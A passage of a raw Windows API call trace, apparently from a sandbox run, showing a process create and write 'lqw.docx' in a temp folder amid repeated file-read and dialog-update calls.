[0068.070] GetLastError () returned 0x2 [0068.070] GetFileAttributesA (lpFileName="lqw.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lqw.docx")) returned 0xffffffff [0068.070] CreateFileA (lpFileName="lqw.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lqw.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.071] GetFileType (hFile=0x138) returned 0x1 [0068.071] SetFilePointer (in: hFile=0x138, lDistanceToMove=558, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x22e [0068.071] SetEndOfFile (hFile=0x138) returned 1 [0068.071] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c3, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.071] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.071] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.071] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.071] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.071] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.071] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.071] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.071] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.071] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.071] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.072] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.072] GetTickCount () returned 0x1fa36 [0068.072] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.072] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.072] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.073] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.073] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.073] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.073] GetTickCount () returned 0x1fa36 [0068.073] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] ReadFile (in: hFile=0x1c, lpBuffer=0x27044b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.074] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.074] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.074] GetTickCount () returned 0x1fa36 [0068.074] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.074] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x22e, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x22e, lpOverlapped=0x0) returned 1 [0068.075] GetTickCount () returned 0x1fa36 [0068.075] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.075] SetFilePointer (in: hFile=0x1c, lDistanceToMove=862314, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 